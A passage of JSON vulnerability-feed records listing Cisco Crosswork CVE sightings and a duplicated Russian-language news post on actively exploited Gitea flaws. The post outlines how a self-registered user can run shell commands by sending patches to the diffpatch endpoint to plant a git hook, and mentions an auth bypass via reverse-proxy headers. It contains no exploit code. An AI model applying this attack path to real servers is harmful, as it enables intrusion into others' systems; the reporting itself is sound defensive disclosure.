Release: August 2026 \n#cve #cisco #vulnerabilitymanagement #cybersecurity \n\ud83d\udd17 https://vulnerability.circl.lu/bundle/d93f6dd9-5d9d-4e7b-b235-770d49f5cd96", "creation_timestamp": "2026-08-27T16:25:23.624095Z"}, {"uuid": "b0b43674-45d4-423b-88ab-8ee6d916647b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20358", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/117168401417072496", "content": "Cisco Crosswork Security Hardening Release: August 2026 Summary\n CVE-2026-20359: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20030: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20357: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20358: Cisco Crosswork Security Hardening Release: August 2026 \n#cve #cisco #vulnerabilitymanagement #cybersecurity \n\ud83d\udd17 https://vulnerability.circl.lu/bundle/d93f6dd9-5d9d-4e7b-b235-770d49f5cd96", "creation_timestamp": "2026-08-27T16:25:23.678719Z"}, {"uuid": "59993fdc-5243-4432-9183-2421f07dd39d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "exploited", "source": "https://t.me/true_secator/8549", "content": "CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0430\u043c\u043e\u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0435\u043c\u043e\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0435 Git Gitea.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u043e \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u043c GitHub \u0438\u043b\u0438 GitLab SaaS, Gitea \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 DevOps, \u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0434\u043b\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u041f\u041e.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c Salesforce \u0428\u0430\u0435\u043c \u0420\u043e\u0434\u043e\u043c CVE-2026-60004 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u043b\u0443\u0436\u0431\u044b Gitea, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0435\u0447\u043d\u0443\u044e \u0442\u043e\u0447\u043a\u0443 API diffpatch.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 Gitea \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0441\u0430\u043c\u043e\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c, \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 diffpatch \u0432 Gitea \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f Git-\u0445\u0443\u043a\u0430 \u0438\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u043c.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439, \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Gitea.\n\n\u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c, \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0438 \u0441\u043e\u0437\u0434\u0430\u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439.\n\nGitea \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 27 \u0438\u044e\u043b\u044f 1.27.1 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2026-60004, \u043f\u043e\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f Shadowserver, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u00a0\u043e\u043a\u043e\u043b\u043e 5000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Gitea, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0441\u0435\u0442\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u043e\u043c, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043d\u0438\u0445 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u043d\u0438\u043f\u043e\u0442\u0430\u043c\u0438 \u0438\u043b\u0438 \u0443\u0436\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b \u043e\u0442 \u0430\u0442\u0430\u043a CVE-2026-60004.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a CISA\u00a0\u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV, \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \n\n\u041f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u043e\u043c \u0441\u0442\u0430\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445,\u00a0\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435\u043c \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b \u043d\u0430 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Gitea.\n\n\u0420\u0430\u043d\u0435\u0435 \u0432 \u0438\u044e\u043b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Gitea (CVE-2026-20896) \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b Gitea \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438, \u0442\u0430\u043a\u0438\u043c\u0438 \u043a\u0430\u043a X-WEBAUTH-USER.", "creation_timestamp": "2026-08-28T00:01:01.964341Z"}, {"uuid": "0f7a2f79-3b35-45d4-845a-94da2f633807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/true_secator/8549", "content": "CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0430\u043c\u043e\u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0435\u043c\u043e\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0435 Git Gitea.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u043e \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u043c GitHub \u0438\u043b\u0438 GitLab SaaS, Gitea \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 DevOps, \u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0434\u043b\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u041f\u041e.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c Salesforce \u0428\u0430\u0435\u043c \u0420\u043e\u0434\u043e\u043c CVE-2026-60004 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u043b\u0443\u0436\u0431\u044b Gitea, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0435\u0447\u043d\u0443\u044e \u0442\u043e\u0447\u043a\u0443 API diffpatch.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 Gitea \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0441\u0430\u043c\u043e\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c, \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 diffpatch \u0432 Gitea \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f Git-\u0445\u0443\u043a\u0430 \u0438\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u043c.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439, \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Gitea.\n\n\u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c, \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0438 \u0441\u043e\u0437\u0434\u0430\u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439.\n\nGitea \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 27 \u0438\u044e\u043b\u044f 1.27.1 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2026-60004, \u043f\u043e\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f Shadowserver, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u00a0\u043e\u043a\u043e\u043b\u043e 5000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Gitea, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0441\u0435\u0442\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u043e\u043c, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043d\u0438\u0445 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u043d\u0438\u043f\u043e\u0442\u0430\u043c\u0438 \u0438\u043b\u0438 \u0443\u0436\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b \u043e\u0442 \u0430\u0442\u0430\u043a CVE-2026-60004.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a CISA\u00a0\u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV, \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \n\n\u041f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u043e\u043c \u0441\u0442\u0430\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445,\u00a0\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435\u043c \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0438 